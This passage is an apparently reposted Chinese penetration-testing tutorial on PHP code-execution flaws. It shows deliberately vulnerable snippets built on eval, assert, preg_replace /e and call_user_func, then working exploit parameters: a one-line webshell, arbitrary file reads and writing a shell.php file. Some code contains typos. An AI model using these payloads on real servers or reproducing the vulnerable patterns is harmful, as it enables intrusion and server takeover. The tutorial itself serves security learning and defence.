热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

【渗透测试】代码执行漏洞

一、原理及成因RCE代码执行(注入)是指应用程过滤不严,用户可以通过请求将代码注入到应用程序中执行。代码执行(注入)类似于SQL注入漏洞,SQLi是将

一、原理及成因

RCE代码执行(注入)是指应用程过滤不严,用户可以通过请求将代码注入到应用程序中执行。代码执行(注入)类似于SQL注入漏洞,SQLi是将SQL语句注入到数据库中执行,而代码执行则是把代码注入到应用中最终服务器运行它,这样的漏洞如果没有特殊的过滤,相当于有一个web后门的存在。

二、漏洞危害

WEB应用如果存在代码执行漏洞是一件非常可拍的事情,就像一个人没有穿衣服,赤裸裸的暴露在光天化日之下,可以通过代码执行漏洞继承web用户权限,执行任意代码。如果具有服务器没有正确配置,web用户权限比较高的话,我们可以读写目标服务器任意文件内容,甚至控制整个网站及服务器。

三、相关函数及语句


1、eval()

eval()会将字符串当作PHP代码执行

if(isset($_GET['code'])){ // isset() 函数用于检测变量是否已设置并且非 NULL。$code=$_GET['code'];eval($code);
}else{echo "code=phpinfo();"
}
?>

提交参数:

  • ?code=phpinfo();
  • ?code=${phpinfo()};
  • ?code=1;phpinfo();

2、assert()

同eval() 字符串当作代码执行

if(isset($_GET['code'])){ // isset() 函数用于检测变量是否已设置并且非 NULL。$code=$_GET['code'];assert($code);
}else{echo "code=phpinfo();"
}
?>

提交参数:

  • ?code=phpinfo();

3、preg_replace()

preg_replace()函数作用是对字符串进行正则匹配
语法

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

参数说明:

  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。

  • $replacement: 用于替换的字符串或字符串数组。

  • $subject: 要搜索替换的目标字符串或字符串数组。

  • $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。

  • $count: 可选,为替换执行的次数。

返回值

  • 如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。

  • 如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。

if(isset($_GET['code'])){ // isset() 函数用于检测变量是否已设置并且非 NULL。$code=$_GET['code'];preg_replace("/\[(.*)\]/e","\\1",$code); // 搜索$subject中匹配$pattern的部分,以$replacement进行替换,而当$pattern处,即第一个参数存在e修饰符时,$relpacement的值会被当成php代码来执行 \\1表示正则第一次匹配的内容
}else{echo "code=[phpinfo()]"
}?>

提交参数:

  • ?code=[phpinfo()]

4、call_user_func()

call_user_func()函数有调用其他函数的功能,其中的一个参数作为要调用的函数名,那如果这个传入的函数名可控,那就可以调用任意函数来执行我们想要的代码,也就存在任意代码执行漏洞。

该函数的第一个参数作为回调函数,后面的参数为回调函数的参数

if(isset($_GET['func'])){ // isset() 函数用于检测变量是否已设置并且非 NULL。$func=$_GET['func'];$para=$_GTE['para'];call_user_func($func,$para);}else{echo "?func=assert¶=phpinfo()"
}?>

提交参数

  • ?func=assert¶=phpinfo()

注意:不能使用eval()

5、动态函数

由于php的特性原因,php的函数支持直接由拼接的方式调用,这就导致了php在安全上的控制又加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟call_user_func()的初中一样,用来更方便的调用函数,但是一旦过滤不严格,就会造成代码执行漏洞。

if(isset($_GET['a'])){ // isset() 函数用于检测变量是否已设置并且非 NULL。$a=$_GET['a'];$b=$_GTE['b'];$a($b);}else{echo "?a=assert&b=phpinfo()"
}?>

提交参数

  • ?a=assert&b=phpinfo()

四、漏洞利用


1、直接获取shell

一句话木马:?code=@eval($_POST[1])使用菜刀连接,密码为1

2、获取当前文件绝对路径

__FILE__是php预定义常量,其含义为当前文件的路径。

参数:?code=print(__FILE__)

3、读文件

我们可以利用file_get_contents()函数读取服务器任意文件,前提是知道目标文件路径和读取权限。

参数:?code=val_dump(file_get_contents("c:\windows\system32\driver\etc\hosts"))

4、写文件

我们可以利用file_put_contents()函数写入文件,前提是知道可写目录。

参数:?code=val_dump(file_put_contents($_POST[1],$_POST[2]))

借助第三方工具通过POST提交参数1=shell.php&2=

会在当前目录下创建shell.php的文件,文件中的代码为

五、防御


  1. 尽量不要使用eval等函数;
  2. 如果使用的话一定要严格过滤;
  3. perg_replace放弃使用/e修饰符;
  4. disable_function = assert 禁用函数;

推荐阅读
  • 分享2款网站程序源码/主题等后门检测工具
    本文介绍了2款用于检测网站程序源码和主题中是否存在后门的工具,分别是WebShellkiller和D盾_Web查杀。WebShellkiller是一款支持webshell和暗链扫描的工具,采用多重检测引擎和智能检测模型,能够更精准地检测出已知和未知的后门文件。D盾_Web查杀则使用自行研发的代码分析引擎,能够分析更为隐藏的WebShell后门行为。 ... [详细]
  • vue使用
    关键词: ... [详细]
  • 小程序wxs中的时间格式化以及格式化时间和date时间互转
    本文介绍了在小程序wxs中进行时间格式化操作的问题,并提供了解决方法。同时还介绍了格式化时间和date时间的互相转换的方法。 ... [详细]
  • Tomcat安装与配置教程及常见问题解决方法
    本文介绍了Tomcat的安装与配置教程,包括jdk版本的选择、域名解析、war文件的部署和访问、常见问题的解决方法等。其中涉及到的问题包括403问题、数据库连接问题、1130错误、2003错误、Java Runtime版本不兼容问题以及502错误等。最后还提到了项目的前后端连接代码的配置。通过本文的指导,读者可以顺利完成Tomcat的安装与配置,并解决常见的问题。 ... [详细]
  • Linux服务器密码过期策略、登录次数限制、私钥登录等配置方法
    本文介绍了在Linux服务器上进行密码过期策略、登录次数限制、私钥登录等配置的方法。通过修改配置文件中的参数,可以设置密码的有效期、最小间隔时间、最小长度,并在密码过期前进行提示。同时还介绍了如何进行公钥登录和修改默认账户用户名的操作。详细步骤和注意事项可参考本文内容。 ... [详细]
  • [译]技术公司十年经验的职场生涯回顾
    本文是一位在技术公司工作十年的职场人士对自己职业生涯的总结回顾。她的职业规划与众不同,令人深思又有趣。其中涉及到的内容有机器学习、创新创业以及引用了女性主义者在TED演讲中的部分讲义。文章表达了对职业生涯的愿望和希望,认为人类有能力不断改善自己。 ... [详细]
  • 本文介绍了Hyperledger Fabric外部链码构建与运行的相关知识,包括在Hyperledger Fabric 2.0版本之前链码构建和运行的困难性,外部构建模式的实现原理以及外部构建和运行API的使用方法。通过本文的介绍,读者可以了解到如何利用外部构建和运行的方式来实现链码的构建和运行,并且不再受限于特定的语言和部署环境。 ... [详细]
  • 图解redis的持久化存储机制RDB和AOF的原理和优缺点
    本文通过图解的方式介绍了redis的持久化存储机制RDB和AOF的原理和优缺点。RDB是将redis内存中的数据保存为快照文件,恢复速度较快但不支持拉链式快照。AOF是将操作日志保存到磁盘,实时存储数据但恢复速度较慢。文章详细分析了两种机制的优缺点,帮助读者更好地理解redis的持久化存储策略。 ... [详细]
  • 怎么在PHP项目中实现一个HTTP断点续传功能发布时间:2021-01-1916:26:06来源:亿速云阅读:96作者:Le ... [详细]
  • 本文讨论了如何使用Web.Config进行自定义配置节的配置转换。作者提到,他将msbuild设置为详细模式,但转换却忽略了带有替换转换的自定义部分的存在。 ... [详细]
  • HTML5网页模板怎么加百度统计?
    本文介绍了如何在HTML5网页模板中加入百度统计,并对模板文件、css样式表、js插件库等内容进行了说明。同时还解答了关于HTML5网页模板的使用方法、表单提交、域名和空间的问题,并介绍了如何使用Visual Studio 2010创建HTML5模板。此外,还提到了使用Jquery编写美好的HTML5前端框架模板的方法,以及制作企业HTML5网站模板和支持HTML5的CMS。 ... [详细]
  • ECMA262规定typeof操作符的返回值和instanceof的使用方法
    本文介绍了ECMA262规定的typeof操作符对不同类型的变量的返回值,以及instanceof操作符的使用方法。同时还提到了在不同浏览器中对正则表达式应用typeof操作符的返回值的差异。 ... [详细]
  • MySQL多表数据库操作方法及子查询详解
    本文详细介绍了MySQL数据库的多表操作方法,包括增删改和单表查询,同时还解释了子查询的概念和用法。文章通过示例和步骤说明了如何进行数据的插入、删除和更新操作,以及如何执行单表查询和使用聚合函数进行统计。对于需要对MySQL数据库进行操作的读者来说,本文是一个非常实用的参考资料。 ... [详细]
  • 本文介绍了使用readlink命令获取文件的完整路径的简单方法,并提供了一个示例命令来打印文件的完整路径。共有28种解决方案可供选择。 ... [详细]
  • loader资源模块加载器webpack资源模块加载webpack内部(内部loader)默认只会处理javascript文件,也就是说它会把打包过程中所有遇到的 ... [详细]
author-avatar
hy11011_847
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有